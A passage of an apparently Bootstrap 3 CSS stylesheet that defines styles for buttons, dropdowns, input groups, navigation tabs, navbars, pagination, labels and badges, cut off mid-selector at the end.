.open > .dropdown-toggle.btn-danger:focus, .btn-danger:active.focus, .btn-danger.active.focus, .open > .dropdown-toggle.btn-danger.focus { color: #fff; background-color: #ac2925; border-color: #761c19; } .btn-danger:active, .btn-danger.active, .open > .dropdown-toggle.btn-danger { background-image: none; } .btn-danger.disabled, .btn-danger[disabled], fieldset[disabled] .btn-danger, .btn-danger.disabled:hover, .btn-danger[disabled]:hover, fieldset[disabled] .btn-danger:hover, .btn-danger.disabled:focus, .btn-danger[disabled]:focus, fieldset[disabled] .btn-danger:focus, .btn-danger.disabled.focus, .btn-danger[disabled].focus, fieldset[disabled] .btn-danger.focus, .btn-danger.disabled:active, .btn-danger[disabled]:active, fieldset[disabled] .btn-danger:active, .btn-danger.disabled.active, .btn-danger[disabled].active, fieldset[disabled] .btn-danger.active { background-color: #d9534f; border-color: #d43f3a; } .btn-danger .badge { color: #d9534f; background-color: #fff; } .btn-link { font-weight: normal; color: #337ab7; border-radius: 0; } .btn-link, .btn-link:active, .btn-link.active, .btn-link[disabled], fieldset[disabled] .btn-link { background-color: transparent; -webkit-box-shadow: none; box-shadow: none; } .btn-link, .btn-link:hover, .btn-link:focus, .btn-link:active { border-color: transparent; } .btn-link:hover, .btn-link:focus { color: #23527c; text-decoration: underline; background-color: transparent; } .btn-link[disabled]:hover, fieldset[disabled] .btn-link:hover, .btn-link[disabled]:focus, fieldset[disabled] .btn-link:focus { color: #777; text-decoration: none; } .btn-lg, .btn-group-lg > .btn { padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .btn-sm, .btn-group-sm > .btn { padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-xs, .btn-group-xs > .btn { padding: 1px 5px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-block { display: block; width: 100%; } .btn-block + .btn-block { margin-top: 5px; } input[type="submit"].btn-block, input[type="reset"].btn-block, input[type="button"].btn-block { width: 100%; } .fade { opacity: 0; -webkit-transition: opacity .15s linear; -o-transition: opacity .15s linear; transition: opacity .15s linear; } .fade.in { opacity: 1; } .collapse { display: none; } .collapse.in { display: block; } tr.collapse.in { display: table-row; } tbody.collapse.in { display: table-row-group; } .collapsing { position: relative; height: 0; overflow: hidden; -webkit-transition-timing-function: ease; -o-transition-timing-function: ease; transition-timing-function: ease; -webkit-transition-duration: .35s; -o-transition-duration: .35s; transition-duration: .35s; -webkit-transition-property: height, visibility; -o-transition-property: height, visibility; transition-property: height, visibility; } .caret { display: inline-block; width: 0; height: 0; margin-left: 2px; vertical-align: middle; border-top: 4px dashed; border-top: 4px solid \9; border-right: 4px solid transparent; border-left: 4px solid transparent; } .dropup, .dropdown { position: relative; } .dropdown-toggle:focus { outline: 0; } .dropdown-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; font-size: 14px; text-align: left; list-style: none; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); box-shadow: 0 6px 12px rgba(0, 0, 0, .175); } .dropdown-menu.pull-right { right: 0; left: auto; } .dropdown-menu .divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .dropdown-menu > li > a { display: block; padding: 3px 20px; clear: both; font-weight: normal; line-height: 1.42857143; color: #333; white-space: nowrap; } .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus { color: #262626; text-decoration: none; background-color: #f5f5f5; } .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus { color: #fff; text-decoration: none; background-color: #337ab7; outline: 0; } .dropdown-menu > .disabled > a, .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { color: #777; } .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { text-decoration: none; cursor: not-allowed; background-color: transparent; background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); } .open > .dropdown-menu { display: block; } .open > a { outline: 0; } .dropdown-menu-right { right: 0; left: auto; } .dropdown-menu-left { right: auto; left: 0; } .dropdown-header { display: block; padding: 3px 20px; font-size: 12px; line-height: 1.42857143; color: #777; white-space: nowrap; } .dropdown-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 990; } .pull-right > .dropdown-menu { right: 0; left: auto; } .dropup .caret, .navbar-fixed-bottom .dropdown .caret { content: ""; border-top: 0; border-bottom: 4px dashed; border-bottom: 4px solid \9; } .dropup .dropdown-menu, .navbar-fixed-bottom .dropdown .dropdown-menu { top: auto; bottom: 100%; margin-bottom: 2px; } @media (min-width: 768px) { .navbar-right .dropdown-menu { right: 0; left: auto; } .navbar-right .dropdown-menu-left { right: auto; left: 0; } } .btn-group, .btn-group-vertical { position: relative; display: inline-block; vertical-align: middle; } .btn-group > .btn, .btn-group-vertical > .btn { position: relative; float: left; } .btn-group > .btn:hover, .btn-group-vertical > .btn:hover, .btn-group > .btn:focus, .btn-group-vertical > .btn:focus, .btn-group > .btn:active, .btn-group-vertical > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn.active { z-index: 2; } .btn-group .btn + .btn, .btn-group .btn + .btn-group, .btn-group .btn-group + .btn, .btn-group .btn-group + .btn-group { margin-left: -1px; } .btn-toolbar { margin-left: -5px; } .btn-toolbar .btn, .btn-toolbar .btn-group, .btn-toolbar .input-group { float: left; } .btn-toolbar > .btn, .btn-toolbar > .btn-group, .btn-toolbar > .input-group { margin-left: 5px; } .btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { border-radius: 0; } .btn-group > .btn:first-child { margin-left: 0; } .btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:last-child:not(:first-child), .btn-group > .dropdown-toggle:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group > .btn-group { float: left; } .btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, .btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group .dropdown-toggle:active, .btn-group.open .dropdown-toggle { outline: 0; } .btn-group > .btn + .dropdown-toggle { padding-right: 8px; padding-left: 8px; } .btn-group > .btn-lg + .dropdown-toggle { padding-right: 12px; padding-left: 12px; } .btn-group.open .dropdown-toggle { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn-group.open .dropdown-toggle.btn-link { -webkit-box-shadow: none; box-shadow: none; } .btn .caret { margin-left: 0; } .btn-lg .caret { border-width: 5px 5px 0; border-bottom-width: 0; } .dropup .btn-lg .caret { border-width: 0 5px 5px; } .btn-group-vertical > .btn, .btn-group-vertical > .btn-group, .btn-group-vertical > .btn-group > .btn { display: block; float: none; width: 100%; max-width: 100%; } .btn-group-vertical > .btn-group > .btn { float: none; } .btn-group-vertical > .btn + .btn, .btn-group-vertical > .btn + .btn-group, .btn-group-vertical > .btn-group + .btn, .btn-group-vertical > .btn-group + .btn-group { margin-top: -1px; margin-left: 0; } .btn-group-vertical > .btn:not(:first-child):not(:last-child) { border-radius: 0; } .btn-group-vertical > .btn:first-child:not(:last-child) { border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn:last-child:not(:first-child) { border-top-left-radius: 0; border-top-right-radius: 0; border-bottom-left-radius: 4px; } .btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, .btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .btn-group-justified { display: table; width: 100%; table-layout: fixed; border-collapse: separate; } .btn-group-justified > .btn, .btn-group-justified > .btn-group { display: table-cell; float: none; width: 1%; } .btn-group-justified > .btn-group .btn { width: 100%; } .btn-group-justified > .btn-group .dropdown-menu { left: auto; } [data-toggle="buttons"] > .btn input[type="radio"], [data-toggle="buttons"] > .btn-group > .btn input[type="radio"], [data-toggle="buttons"] > .btn input[type="checkbox"], [data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { position: absolute; clip: rect(0, 0, 0, 0); pointer-events: none; } .input-group { position: relative; display: table; border-collapse: separate; } .input-group[class*="col-"] { float: none; padding-right: 0; padding-left: 0; } .input-group .form-control { position: relative; z-index: 2; float: left; width: 100%; margin-bottom: 0; } .input-group-lg > .form-control, .input-group-lg > .input-group-addon, .input-group-lg > .input-group-btn > .btn { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } select.input-group-lg > .form-control, select.input-group-lg > .input-group-addon, select.input-group-lg > .input-group-btn > .btn { height: 46px; line-height: 46px; } textarea.input-group-lg > .form-control, textarea.input-group-lg > .input-group-addon, textarea.input-group-lg > .input-group-btn > .btn, select[multiple].input-group-lg > .form-control, select[multiple].input-group-lg > .input-group-addon, select[multiple].input-group-lg > .input-group-btn > .btn { height: auto; } .input-group-sm > .form-control, .input-group-sm > .input-group-addon, .input-group-sm > .input-group-btn > .btn { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-group-sm > .form-control, select.input-group-sm > .input-group-addon, select.input-group-sm > .input-group-btn > .btn { height: 30px; line-height: 30px; } textarea.input-group-sm > .form-control, textarea.input-group-sm > .input-group-addon, textarea.input-group-sm > .input-group-btn > .btn, select[multiple].input-group-sm > .form-control, select[multiple].input-group-sm > .input-group-addon, select[multiple].input-group-sm > .input-group-btn > .btn { height: auto; } .input-group-addon, .input-group-btn, .input-group .form-control { display: table-cell; } .input-group-addon:not(:first-child):not(:last-child), .input-group-btn:not(:first-child):not(:last-child), .input-group .form-control:not(:first-child):not(:last-child) { border-radius: 0; } .input-group-addon, .input-group-btn { width: 1%; white-space: nowrap; vertical-align: middle; } .input-group-addon { padding: 6px 12px; font-size: 14px; font-weight: normal; line-height: 1; color: #555; text-align: center; background-color: #eee; border: 1px solid #ccc; border-radius: 4px; } .input-group-addon.input-sm { padding: 5px 10px; font-size: 12px; border-radius: 3px; } .input-group-addon.input-lg { padding: 10px 16px; font-size: 18px; border-radius: 6px; } .input-group-addon input[type="radio"], .input-group-addon input[type="checkbox"] { margin-top: 0; } .input-group .form-control:first-child, .input-group-addon:first-child, .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group > .btn, .input-group-btn:first-child > .dropdown-toggle, .input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group-btn:last-child > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group-addon:first-child { border-right: 0; } .input-group .form-control:last-child, .input-group-addon:last-child, .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group > .btn, .input-group-btn:last-child > .dropdown-toggle, .input-group-btn:first-child > .btn:not(:first-child), .input-group-btn:first-child > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .input-group-addon:last-child { border-left: 0; } .input-group-btn { position: relative; font-size: 0; white-space: nowrap; } .input-group-btn > .btn { position: relative; } .input-group-btn > .btn + .btn { margin-left: -1px; } .input-group-btn > .btn:hover, .input-group-btn > .btn:focus, .input-group-btn > .btn:active { z-index: 2; } .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group { margin-right: -1px; } .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group { z-index: 2; margin-left: -1px; } .nav { padding-left: 0; margin-bottom: 0; list-style: none; } .nav > li { position: relative; display: block; } .nav > li > a { position: relative; display: block; padding: 10px 15px; } .nav > li > a:hover, .nav > li > a:focus { text-decoration: none; background-color: #eee; } .nav > li.disabled > a { color: #777; } .nav > li.disabled > a:hover, .nav > li.disabled > a:focus { color: #777; text-decoration: none; cursor: not-allowed; background-color: transparent; } .nav .open > a, .nav .open > a:hover, .nav .open > a:focus { background-color: #eee; border-color: #337ab7; } .nav .nav-divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .nav > li > a > img { max-width: none; } .nav-tabs { border-bottom: 1px solid #ddd; } .nav-tabs > li { float: left; margin-bottom: -1px; } .nav-tabs > li > a { margin-right: 2px; line-height: 1.42857143; border: 1px solid transparent; border-radius: 4px 4px 0 0; } .nav-tabs > li > a:hover { border-color: #eee #eee #ddd; } .nav-tabs > li.active > a, .nav-tabs > li.active > a:hover, .nav-tabs > li.active > a:focus { color: #555; cursor: default; background-color: #fff; border: 1px solid #ddd; border-bottom-color: transparent; } .nav-tabs.nav-justified { width: 100%; border-bottom: 0; } .nav-tabs.nav-justified > li { float: none; } .nav-tabs.nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-tabs.nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-tabs.nav-justified > li { display: table-cell; width: 1%; } .nav-tabs.nav-justified > li > a { margin-bottom: 0; } } .nav-tabs.nav-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs.nav-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border-bottom-color: #fff; } } .nav-pills > li { float: left; } .nav-pills > li > a { border-radius: 4px; } .nav-pills > li + li { margin-left: 2px; } .nav-pills > li.active > a, .nav-pills > li.active > a:hover, .nav-pills > li.active > a:focus { color: #fff; background-color: #337ab7; } .nav-stacked > li { float: none; } .nav-stacked > li + li { margin-top: 2px; margin-left: 0; } .nav-justified { width: 100%; } .nav-justified > li { float: none; } .nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-justified > li { display: table-cell; width: 1%; } .nav-justified > li > a { margin-bottom: 0; } } .nav-tabs-justified { border-bottom: 0; } .nav-tabs-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border-bottom-color: #fff; } } .tab-content > .tab-pane { display: none; } .tab-content > .active { display: block; } .nav-tabs .dropdown-menu { margin-top: -1px; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar { position: relative; min-height: 50px; margin-bottom: 20px; border: 1px solid transparent; } @media (min-width: 768px) { .navbar { border-radius: 4px; } } @media (min-width: 768px) { .navbar-header { float: left; } } .navbar-collapse { padding-right: 15px; padding-left: 15px; overflow-x: visible; -webkit-overflow-scrolling: touch; border-top: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); } .navbar-collapse.in { overflow-y: auto; } @media (min-width: 768px) { .navbar-collapse { width: auto; border-top: 0; -webkit-box-shadow: none; box-shadow: none; } .navbar-collapse.collapse { display: block !important; height: auto !important; padding-bottom: 0; overflow: visible !important; } .navbar-collapse.in { overflow-y: visible; } .navbar-fixed-top .navbar-collapse, .navbar-static-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { padding-right: 0; padding-left: 0; } } .navbar-fixed-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { max-height: 340px; } @media (max-device-width: 480px) and (orientation: landscape) { .navbar-fixed-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { max-height: 200px; } } .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: 0; margin-left: 0; } } .navbar-static-top { z-index: 1000; border-width: 0 0 1px; } @media (min-width: 768px) { .navbar-static-top { border-radius: 0; } } .navbar-fixed-top, .navbar-fixed-bottom { position: fixed; right: 0; left: 0; z-index: 1030; } @media (min-width: 768px) { .navbar-fixed-top, .navbar-fixed-bottom { border-radius: 0; } } .navbar-fixed-top { top: 0; border-width: 0 0 1px; } .navbar-fixed-bottom { bottom: 0; margin-bottom: 0; border-width: 1px 0 0; } .navbar-brand { float: left; height: 50px; padding: 15px 15px; font-size: 18px; line-height: 20px; } .navbar-brand:hover, .navbar-brand:focus { text-decoration: none; } .navbar-brand > img { display: block; } @media (min-width: 768px) { .navbar > .container .navbar-brand, .navbar > .container-fluid .navbar-brand { margin-left: -15px; } } .navbar-toggle { position: relative; float: right; padding: 9px 10px; margin-top: 8px; margin-right: 15px; margin-bottom: 8px; background-color: transparent; background-image: none; border: 1px solid transparent; border-radius: 4px; } .navbar-toggle:focus { outline: 0; } .navbar-toggle .icon-bar { display: block; width: 22px; height: 2px; border-radius: 1px; } .navbar-toggle .icon-bar + .icon-bar { margin-top: 4px; } @media (min-width: 768px) { .navbar-toggle { display: none; } } .navbar-nav { margin: 7.5px -15px; } .navbar-nav > li > a { padding-top: 10px; padding-bottom: 10px; line-height: 20px; } @media (max-width: 767px) { .navbar-nav .open .dropdown-menu { position: static; float: none; width: auto; margin-top: 0; background-color: transparent; border: 0; -webkit-box-shadow: none; box-shadow: none; } .navbar-nav .open .dropdown-menu > li > a, .navbar-nav .open .dropdown-menu .dropdown-header { padding: 5px 15px 5px 25px; } .navbar-nav .open .dropdown-menu > li > a { line-height: 20px; } .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-nav .open .dropdown-menu > li > a:focus { background-image: none; } } @media (min-width: 768px) { .navbar-nav { float: left; margin: 0; } .navbar-nav > li { float: left; } .navbar-nav > li > a { padding-top: 15px; padding-bottom: 15px; } } .navbar-form { padding: 10px 15px; margin-top: 8px; margin-right: -15px; margin-bottom: 8px; margin-left: -15px; border-top: 1px solid transparent; border-bottom: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); } @media (min-width: 768px) { .navbar-form .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .navbar-form .form-control { display: inline-block; width: auto; vertical-align: middle; } .navbar-form .form-control-static { display: inline-block; } .navbar-form .input-group { display: inline-table; vertical-align: middle; } .navbar-form .input-group .input-group-addon, .navbar-form .input-group .input-group-btn, .navbar-form .input-group .form-control { width: auto; } .navbar-form .input-group > .form-control { width: 100%; } .navbar-form .control-label { margin-bottom: 0; vertical-align: middle; } .navbar-form .radio, .navbar-form .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .navbar-form .radio label, .navbar-form .checkbox label { padding-left: 0; } .navbar-form .radio input[type="radio"], .navbar-form .checkbox input[type="checkbox"] { position: relative; margin-left: 0; } .navbar-form .has-feedback .form-control-feedback { top: 0; } } @media (max-width: 767px) { .navbar-form .form-group { margin-bottom: 5px; } .navbar-form .form-group:last-child { margin-bottom: 0; } } @media (min-width: 768px) { .navbar-form { width: auto; padding-top: 0; padding-bottom: 0; margin-right: 0; margin-left: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; } } .navbar-nav > li > .dropdown-menu { margin-top: 0; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { margin-bottom: 0; border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .navbar-btn { margin-top: 8px; margin-bottom: 8px; } .navbar-btn.btn-sm { margin-top: 10px; margin-bottom: 10px; } .navbar-btn.btn-xs { margin-top: 14px; margin-bottom: 14px; } .navbar-text { margin-top: 15px; margin-bottom: 15px; } @media (min-width: 768px) { .navbar-text { float: left; margin-right: 15px; margin-left: 15px; } } @media (min-width: 768px) { .navbar-left { float: left !important; } .navbar-right { float: right !important; margin-right: -15px; } .navbar-right ~ .navbar-right { margin-right: 0; } } .navbar-default { background-color: #f8f8f8; border-color: #e7e7e7; } .navbar-default .navbar-brand { color: #777; } .navbar-default .navbar-brand:hover, .navbar-default .navbar-brand:focus { color: #5e5e5e; background-color: transparent; } .navbar-default .navbar-text { color: #777; } .navbar-default .navbar-nav > li > a { color: #777; } .navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus { color: #555; background-color: #e7e7e7; } .navbar-default .navbar-nav > .disabled > a, .navbar-default .navbar-nav > .disabled > a:hover, .navbar-default .navbar-nav > .disabled > a:focus { color: #ccc; background-color: transparent; } .navbar-default .navbar-toggle { border-color: #ddd; } .navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus { background-color: #ddd; } .navbar-default .navbar-toggle .icon-bar { background-color: #888; } .navbar-default .navbar-collapse, .navbar-default .navbar-form { border-color: #e7e7e7; } .navbar-default .navbar-nav > .open > a, .navbar-default .navbar-nav > .open > a:hover, .navbar-default .navbar-nav > .open > a:focus { color: #555; background-color: #e7e7e7; } @media (max-width: 767px) { .navbar-default .navbar-nav .open .dropdown-menu > li > a { color: #777; } .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav .open .dropdown-menu > .active > a, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { color: #555; background-color: #e7e7e7; } .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #ccc; background-color: transparent; } } .navbar-default .navbar-link { color: #777; } .navbar-default .navbar-link:hover { color: #333; } .navbar-default .btn-link { color: #777; } .navbar-default .btn-link:hover, .navbar-default .btn-link:focus { color: #333; } .navbar-default .btn-link[disabled]:hover, fieldset[disabled] .navbar-default .btn-link:hover, .navbar-default .btn-link[disabled]:focus, fieldset[disabled] .navbar-default .btn-link:focus { color: #ccc; } .navbar-inverse { background-color: #222; border-color: #080808; } .navbar-inverse .navbar-brand { color: #9d9d9d; } .navbar-inverse .navbar-brand:hover, .navbar-inverse .navbar-brand:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-text { color: #9d9d9d; } .navbar-inverse .navbar-nav > li > a { color: #9d9d9d; } .navbar-inverse .navbar-nav > li > a:hover, .navbar-inverse .navbar-nav > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav > .active > a, .navbar-inverse .navbar-nav > .active > a:hover, .navbar-inverse .navbar-nav > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav > .disabled > a, .navbar-inverse .navbar-nav > .disabled > a:hover, .navbar-inverse .navbar-nav > .disabled > a:focus { color: #444; background-color: transparent; } .navbar-inverse .navbar-toggle { border-color: #333; } .navbar-inverse .navbar-toggle:hover, .navbar-inverse .navbar-toggle:focus { background-color: #333; } .navbar-inverse .navbar-toggle .icon-bar { background-color: #fff; } .navbar-inverse .navbar-collapse, .navbar-inverse .navbar-form { border-color: #101010; } .navbar-inverse .navbar-nav > .open > a, .navbar-inverse .navbar-nav > .open > a:hover, .navbar-inverse .navbar-nav > .open > a:focus { color: #fff; background-color: #080808; } @media (max-width: 767px) { .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { border-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu .divider { background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { color: #9d9d9d; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #444; background-color: transparent; } } .navbar-inverse .navbar-link { color: #9d9d9d; } .navbar-inverse .navbar-link:hover { color: #fff; } .navbar-inverse .btn-link { color: #9d9d9d; } .navbar-inverse .btn-link:hover, .navbar-inverse .btn-link:focus { color: #fff; } .navbar-inverse .btn-link[disabled]:hover, fieldset[disabled] .navbar-inverse .btn-link:hover, .navbar-inverse .btn-link[disabled]:focus, fieldset[disabled] .navbar-inverse .btn-link:focus { color: #444; } .breadcrumb { padding: 8px 15px; margin-bottom: 20px; list-style: none; background-color: #f5f5f5; border-radius: 4px; } .breadcrumb > li { display: inline-block; } .breadcrumb > li + li:before { padding: 0 5px; color: #ccc; content: "/\00a0"; } .breadcrumb > .active { color: #777; } .pagination { display: inline-block; padding-left: 0; margin: 20px 0; border-radius: 4px; } .pagination > li { display: inline; } .pagination > li > a, .pagination > li > span { position: relative; float: left; padding: 6px 12px; margin-left: -1px; line-height: 1.42857143; color: #337ab7; text-decoration: none; background-color: #fff; border: 1px solid #ddd; } .pagination > li:first-child > a, .pagination > li:first-child > span { margin-left: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .pagination > li:last-child > a, .pagination > li:last-child > span { border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .pagination > li > a:hover, .pagination > li > span:hover, .pagination > li > a:focus, .pagination > li > span:focus { z-index: 3; color: #23527c; background-color: #eee; border-color: #ddd; } .pagination > .active > a, .pagination > .active > span, .pagination > .active > a:hover, .pagination > .active > span:hover, .pagination > .active > a:focus, .pagination > .active > span:focus { z-index: 2; color: #fff; cursor: default; background-color: #337ab7; border-color: #337ab7; } .pagination > .disabled > span, .pagination > .disabled > span:hover, .pagination > .disabled > span:focus, .pagination > .disabled > a, .pagination > .disabled > a:hover, .pagination > .disabled > a:focus { color: #777; cursor: not-allowed; background-color: #fff; border-color: #ddd; } .pagination-lg > li > a, .pagination-lg > li > span { padding: 10px 16px; font-size: 18px; line-height: 1.3333333; } .pagination-lg > li:first-child > a, .pagination-lg > li:first-child > span { border-top-left-radius: 6px; border-bottom-left-radius: 6px; } .pagination-lg > li:last-child > a, .pagination-lg > li:last-child > span { border-top-right-radius: 6px; border-bottom-right-radius: 6px; } .pagination-sm > li > a, .pagination-sm > li > span { padding: 5px 10px; font-size: 12px; line-height: 1.5; } .pagination-sm > li:first-child > a, .pagination-sm > li:first-child > span { border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .pagination-sm > li:last-child > a, .pagination-sm > li:last-child > span { border-top-right-radius: 3px; border-bottom-right-radius: 3px; } .pager { padding-left: 0; margin: 20px 0; text-align: center; list-style: none; } .pager li { display: inline; } .pager li > a, .pager li > span { display: inline-block; padding: 5px 14px; background-color: #fff; border: 1px solid #ddd; border-radius: 15px; } .pager li > a:hover, .pager li > a:focus { text-decoration: none; background-color: #eee; } .pager .next > a, .pager .next > span { float: right; } .pager .previous > a, .pager .previous > span { float: left; } .pager .disabled > a, .pager .disabled > a:hover, .pager .disabled > a:focus, .pager .disabled > span { color: #777; cursor: not-allowed; background-color: #fff; } .label { display: inline; padding: .2em .6em .3em; font-size: 75%; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em; } a.label:hover, a.label:focus { color: #fff; text-decoration: none; cursor: pointer; } .label:empty { display: none; } .btn .label { position: relative; top: -1px; } .label-default { background-color: #777; } .label-default[href]:hover, .label-default[href]:focus { background-color: #5e5e5e; } .label-primary { background-color: #337ab7; } .label-primary[href]:hover, .label-primary[href]:focus { background-color: #286090; } .label-success { background-color: #5cb85c; } .label-success[href]:hover, .label-success[href]:focus { background-color: #449d44; } .label-info { background-color: #5bc0de; } .label-info[href]:hover, .label-info[href]:focus { background-color: #31b0d5; } .label-warning { background-color: #f0ad4e; } .label-warning[href]:hover, .label-warning[href]:focus { background-color: #ec971f; } .label-danger { background-color: #d9534f; } .label-danger[href]:hover, .label-danger[href]:focus { background-color: #c9302c; } .badge { display: inline-block; min-width: 10px; padding: 3px 7px; font-size: 12px; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: middle; background-color: #777; border-radius: 10px; } .badge:empty { display: none; } .btn .badge { position: relative; top: -1px; } .btn-xs .badge, .btn-group-xs > .btn .badge { top: 0; padding: 1px 5px; } a.badge:hover, a.badge:focus { color: #fff; text-decoration: none; cursor: pointer; } .list-group-item.active > .badge, .nav-pills > .active > a > .badge { color: #337ab7; background-color: #fff; } .list-group-item > 